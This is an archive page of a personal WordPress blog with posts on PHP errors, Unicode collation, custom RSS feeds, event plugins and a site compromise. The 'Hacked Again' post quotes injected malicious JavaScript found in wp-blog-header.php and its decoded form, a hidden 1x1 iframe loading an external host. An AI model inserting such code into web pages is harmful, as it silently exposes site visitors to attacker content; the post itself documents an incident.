Order of the Bath » WordPress

“PHP Fatal error: Call to undefined function get_header()” error in WordPress

Rick — Sun, 25 Sep 2011 16:27:26 +0000

I am getting occasional (3-4 a month) errors in a log file on the various WordPress installations that I support. The full text is

[25-Sep-2011 09:02:01] PHP Fatal error: Call to undefined function get_header() in /home//public_html/wp-content/themes//index.php on line 1

Doing the natural thing I Googled for a reason but didn’t find much that was informative. Most of the cases reported were where the user had ~~stupidly~~ inadvertently overwritten the root index.php with the one from their theme of the day. The best I found was ardemis who is one step ahead of me.

As he implies, at important step is to stop the message reaching the user’s browser because it reveals rather too much about your web server. This is done by including the call

ini_set('display_errors', 0);

before the get_header();. This makes the message ONLY appear in the log file, which incidentally, can be found in the theme directory. He then goes on to describe a more sophisticated approach which you can read there if it suits your site. But why are they occurring? Is it search engine spiders or hackers probing the depths of your site.

Hacked Again

Rick — Thu, 16 Jun 2011 09:01:33 +0000

Since the problem in 2007 my web sites have been running pretty smoothly. I never did get to the bottom of what caused it but the suspicion was an out of date WordPress install which had some sort of vulnerability.

This month it happened again. I first spotted it on 6 Jun when I saw a big iFrame appear below the page footer of this blog. Again there was a suspicion of a down-level WordPress but it was only one dot point off current. Never-the-less, I updated and the problem went away by wiping out the infected files. In fact, I did it so fast that I didn’t have time to investigate fully.

A week later, the problem was back and now, because I was fully up to date, I had to look more closely.

The code inserted was
[script]var t="";var arr="...";for(i=0;i
which decodes to execute
document.write('[iframe src="http://esformofset.com/forum/php?tp=675eafec431b1f72" width="1" height="1" frameborder="0"][/iframe]')

The hacked code was tacked on the end of module wp-blog-header.php so it is clear that the infection understands WordPress. Later I was informed by a regular visitor, that some other (static) pages on the site were also infected. One drawback of running a browser with full protection like Firefox with NoScript is that you can’t easily spot things like this when they occur. Anyway, I spent an hour yesterday evening clearing up the rest of the site. It had infected almost all files called index.htm and home.htm and one or two others with a high page rank due to a lot of external referrers. The inserted code was after and was either identical or very similar to the above (just a change of target web page).

So it is clear that the infection mechanism is clever, I just wish I know what it was. I am no longer convinced that it is anything to do with WordPress – a ZeroDay vulnerability like this would have been reported by now and, at the time of writing I can find no other internet reference to this particular infection. There is no other active content on the site so that leaves the possibility of either a cracked password (all of which are strong and recently changed) or a compromised host server.

Unicode in WordPress

Rick — Sat, 08 May 2010 18:01:01 +0000

As I mentioned in the previous post, there can be a problems inserting foreign text into WordPress. I have done it in the past with simple accents for French and German with no problem and for some special characters I used the &#….; codes but when it came to pasting in a chunk of Arabic it didn’t work at all, just displaying a bunch of question marks. I suspect that there would be a similar problem with Hebrew, Chinese, Japanese, Cyrillic and any other non-western scripts. I had a search around and the first suggestion I came across was Obsessed with the Press which suggested commenting out the lines for DB_CHARSET and DB_COLLATE in wp-config.php. This appeared to work (on a test site) but looking at older posts I could see that some characters in there were now corrupt, displaying a white question mark in a black diamond. In the comments on the same page there was a suggestion to not do that but just change DB_COLLATE to the value ‘utf8_general_ci’. This didn’t really work either. There were suggestions on other pages to set it to ‘utf8_unicode_ci’ and various other things, so it was time to do some more serious investigation.

It looks like the problem is not really the fault of WordPress at all but the MySQL installed on some sites (including mine). Deep in the MySQL is a configuration parameter for the default character collation and it is often set as supplied to ‘latin1_swedish_ci’—Why? Because MySQL was originally Swedish! If it was just taken out of the box and installed then that will be the default you get for most of your tables because DB_COLLATE in WordPress is set to null and so takes the default. In practice you will find some tables are different, perhaps because they discovered it was important.

So, what does that mean for fixing the problem? DO THIS AT YOUR OWN RISK—I AM NOT AN EXPERT.

First—the second suggestion above was correct—change the DB_COLLATE line to read

define('DB_COLLATE', 'utf8_general_ci');

If you are setting up WordPress for the first time, this may be sufficient because it will use this value, but if you are hacking an old installation then you will need to correct it a bit. You need to go into phpMyAdmin and change some of the collations on your tables. The important one, which fixed my problems, is table wp_posts, field name post_content, but if you are planning to use unicode in post titles, comments and other places then you may need to do more of them. I am planning to be a bit cautious about changing too many in case it breaks something else.

Customised RSS feeds from WordPress

Rick — Wed, 23 Sep 2009 18:47:53 +0000

Customising a WordPress installation is relatively straight forward—you pick a theme and then tweak it to your satisfaction—you can make that as easy or hard as you like depending on your skills and requirements and it is all fairly well documented. It uses a theme system so that any templates that you place in the theme directory override the default ones, This blog, for instance, has modified versions of the index, page and single templates which determine the content and appearance of the post stream, pages and single posts respectively.

Customising the feed contents and appearance is not so easy. The system includes three hooks which allow additional content to be included—In the case of RSS2 feed they are rss2_ns in the RSS header, rss2_head in the channel content and rss2_item in each item section. These are what podcast plugins use to add in the iTunes XML stuff that they need.

There is, however, no mechanism to remove or modify the existing standard content. What it needs is the ability to override the templates with ones of your own. The relevant template here is wp-includes/feed-rss2.php and it is loaded from the function do_feed_rss2 in wp-includes/functions.php. That default routine looks like this

function do_feed_rss2( $for_comments ) {
	if ($for_comments)
		load_template( ABSPATH . WPINC . '/feed-rss2-comments.php');
	else
		load_template( ABSPATH . WPINC . '/rss2-atom.php' );
}

What is needed is this which can be put in your theme’s functions.php

function custom_feed_rss2( $for_comments ) {
	if ( $for_comments ) {
		if ( file_exists(STYLESHEETPATH . '/feed-rss2-comments.php'))
			load_template( STYLESHEETPATH . '/feed-rss2-comments.php' );
		else
			load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' );
	}
	else {
		if ( file_exists(STYLESHEETPATH . '/feed-rss2.php'))
			load_template( STYLESHEETPATH . '/feed-rss2.php' );
		else
			load_template( ABSPATH . WPINC . '/feed-rss2.php' );
	}
}

Then replacing the default routine with the new one using

remove_action('do_feed_rss2', 'do_feed_rss2');
add_action('do_feed_rss2', 'custom_feed_rss2');

then the copies of the templates in your theme directory will be picked up if they exist and defaults used if not. Similar things can be done for the rdf, rss and atom feeds but I don’t use them; note: however, that if you have removed things because you don’t want them revealed to the world then you need to do it on all available formats because they are all available whether you advertise them or not.

What do I use it for? well I want to put the event date into some posts rather than the posting date and also I have a need to suppress comment feeds altogether on one site.

RSS feed fixed

Rick — Thu, 07 May 2009 17:03:17 +0000

I have finally figured out why the RSS feed on this blog had died. I had been assuming that it was due to an illegal character in one of the post headings because that is what broke it last time; XML is very fussy about character set.

Today I had a look at the source of the XML that wouldn’t display and spotted that there were two blank lines on the front. Removing those (by hand) fixed it, I said XML was fussy!

Now where were they coming from. A search on Google for “wordpress xml blank lines” came up with a few suggestions and it looks like it is a common problem but everyone has to figure it out for themselves; there is no FAQ. The prime suggestion was blank lines on the end of the wp-config.php file but that wasn’t the case for me. The next was in functions.php in the theme; BINGO. I am always very verbal when writing code and put in lots of comments and white space. Normally that doesn’t matter but functions.php is loaded for every action (even for the admin panels) and PHP is a strange beast—everything that is not with us is against us; i.e. everything that is not a PHP statement is directly output to the stream so blank lines before the first < ?php and after the last ?> is output and you cannot separate the functions outside of the PHP structure either. Once I had fixed that then it was all ok.

I still can’t figure out the source of the two blank lines that cause the Comment feed to fail! [Update: that is fixed too. Same problem, just that I hadn't properly cleared the browser cache.]

WordPress 2.7+ Comments

Rick — Fri, 06 Mar 2009 11:32:10 +0000

As I mentioned earlier, I upgraded the version of WordPress used on this blog last night. I did the Church website some time ago and it was easy but this one was much more complicated. The difference is that this one accepts comments and the commenting system in WordPress was completely revamped for version 2.7.

This is a screen shot from my development system using the Default theme.

Here I have set the Discussion Settings to say

Break comments into pages with 10 comments per page and the last page displayed by default. Comments should be displayed with the older comments at the top of each page.

As you can see from the first line there are 11 comments on this post and below is a link back to the earlier ones and the 11′th one in full. It looks ok but, as I will demonstrate in a minute, they have hidden the underlying problem.

I happen to think that comments need to be numbered. It is my choice but I consider it necessary both as a visual clue so that readers can tell immediately which posts are the most recent and what order to read them, and also so that the discussion can refer to earlier points unambiguously. The generated HTML for the clip above (edited and wrapped) is as follows

	11 Responses to “Wordpress 2.7”

	
		« Older Comments

Here you will see the initial heading, the “Older Comments” link and, below that,

that follows, but they do not appear. They are being suppressed by the CSS style sheet using .commentlist li {list-style: none;}. Now if you want comments numbers, as I do, the instinct is to remove this suppression but that is not good enough (disregarding the work to get the layout to look right) because this comment will be numbered 1. because that is what

Lorelle on Church Website Design

Rick — Wed, 21 Jan 2009 20:59:42 +0000

Lorelle van Fossen talks to Church web designers—and discovers that she knew nothing about the issues. Good article.

Bible Verse Plugins

Rick — Fri, 02 Jan 2009 18:01:02 +0000

While developing the new church website (which, by the way, is now online) I came across a couple of plugins that automatically link a bible verse reference to the text. I was reminded to write about it today, ironically, by a spam which linked to a very crude online bible using free web space from Blogspot. I am not sure which version has been bootlegged.

eBibleicious

eBibleicious was the first plugin I investigated. It links to eBible.com and seemed to be simple and efficient but for some reason does not work at all if the visitor is on Virgin Broadband. bweaver.net has a review with some screen shots which show what could have been, but the developer blog has been quiet since March 2008 so I think it has all but died.

The Holy Scripturizer

The Holy Scripturizer is a plugin that I found later. It is also not well advertised and the developer blog has not been updated since june 2008 but perhaps there is nothing more to do; it works fine on WP 2.7. There are a lot of the same ideas as eBibleicious using the ESV website as source, but has the added benefit of multiple versions in link only (i.e. not popup) mode. The NRSV comes from Oremus Bible Browser which is the one we normally use. Almost every English language version is covered and a lot of others as well, mostly via the Bible Gateway. It parses most standard bible references and is working brilliantly on the web site with virtually no training needed.

Parsing XML with PHP

Rick — Mon, 17 Nov 2008 19:55:38 +0000

Following on from the last.fm saga described earlier, I went on to look at the method user.GetWeeklyAlbumChart which requires accessing user.GetWeeklyChartList first.

I am using the plugin iLast.Fm from Leandro Alonso and the code he is using looks right but doesn’t seem to work. He uses curl to get the XML from the last.fm site. The XML you get is of the form

He then parses it with simplexml_load_file() and puts it into an object called $chart. Then the code processes this as follows

$chartopt = sizeof($chart->weeklychartlist->chart) - 1; $chart = $chart->weeklychartlist->chart[$chartopt];

and uses $chart['from'] and $chart['to'] in the call to user.GetWeeklyAlbumChart.

The problem is that $chartopt always has the value 0 which means that the sizeof() function is not working properly. There is a comment on the PHP documenattion page which says that foreach doesn’t work but reccomends count/sizeof() instead. What can be wrong?

Update: The answer seems to be here: SimpleXML is not so simple and it doesn’t behave correctly. It needs

$chartopt = -1; foreach($chart->weeklychartlist->chart as $i) $chartopt++;

WordPress Event Plugins

Rick — Thu, 23 Oct 2008 12:45:06 +0000

Looking for plugins for WordPress (or probably any other package) is very frustrating. First you have to search the directory (which, I agree, is a big improvement on what it used to be) and sift out the possible from the unlikely. Then look at the descriptions, which are often completely inadequate, and test the promising candidates.

I have been looking for an Event system for the church web site—one that allows you to post-date items and list upcoming events, particularly services. There are a number based around iCal and Google Calendar but I didn’t want to get into that level of complexity and, anyway, a calendar based presentation is not as direct and immediate we wanted. Eventually I narrowed it down to two: WP Events and RS Event. Another one which looks promising (but complex) is Events Category ~~but I haven’t had time to look at it~~ [Update below].

WP-Events

Pro—Actively maintained and developed by the author (Arnan de Gans).
Supports start and end dates and times, multi- and all-day events.
Provides sidebar widget and main page hooks for upcoming events and archives plus function calls for experts.
Allows different categories for events.
Incorporates Event Location. This is not something that we would use, preferring to put this sort of information into the description.
The dedicated admin page (Manage Events) has full information about each item.
Allows HTML tags in sidebar for images and markup.
Very flexible configuration.
Simple implementation so easy to hack.

Con—Uses a separate database table for events so they are not found by the search engine.
Excerpting is done by character count rather than word which can break HTML.
Non-standard interface for creating events which is not foolproof for the non-geek e.g. no implicit tags and validation.
Events cannot be in more than one category and they bear no relation to WP post categories.
There is no single event display without creating a separate WP post and linking to it.
The More link appears even if there is no more.

RS-Event

Pro—Uses extra metadata on standard posts to indicate start date/time. Hence search and ordinary posts listings work.
Provides sidebar widget and function call for experts.
Allows different (standard WP post) categories for events.
Events can be put into multiple categories
Very easy to use, suitable for admin staff.
Simple implementation so easy to hack.

Con—the author (Robert Sargant) has vanished so it is no longer supported, though a working version patched for current WordPress can be found at LivingOS. A hacked version exists with some extra features by Nudnik.
Uses standard (rather inflexible) WP excerpting which doesn’t allow markup.
You can’t tell from the admin pages (Manage Posts) the date of each event.
There is no recording of end date/times so no concept of an event duration or multi- and all-day events.
Non-widget configuration has to be done by editing the theme files making the theme site specific (because it refers to categories explicitly by ID).
Requires an unpublished hack to get event date/time to appear in archives, search listings and single post pages.
The More link appears even if there is no more.

I have included both in my demonstrator so the user can choose. I think they will go for the second as it is easier for them to use—the extra work has already been put in my me.

[Update 24 Oct 2008]

Events Category

Something that has saved a great deal of effort is that the author of Events Category (Weston Ruter) has provided an excellent write-up. Reading this I can at least superficially evaluate it without having to download and test it.

Pro—The aforementioned write-up and I think it is maintained though there is a suggestion that it does not work with WordPress 2.5+.
Uses extra metadata on standard posts. Hence search and ordinary posts listings work. In addition, the output method uses the WordPress loop with additional template tags so customising it is flexible and straight forward.
Supports start and end dates and times and hence Multi-day events.
Events can be put into multiple categories
Allows multiple sidebar widgets and plenty of scope for theme writers.
The start date of an event is easy to see from the Manage Posts admin panel (because it is the post date).
Easy to use, suitable for admin staff.
Incorporates a comprehensive Event Location and integrates with various calendar systems.

Con—The start date of an event uses a forward dated post which loses some information, though the update tracking in current WordPress provides this information for audit.
Looking at the (well described) method of operation it is probably fairly complex, modifying deep parts of WordPress, and hence hard to hack. I am not sure I could get it to work with current WP.

From that analysis I don’t think we will be using it but there are some great ideas there that I may adapt for use with whichever system we do go with. One thing the exercise has demonstrated is how many different ways you can use to achieve the same objective.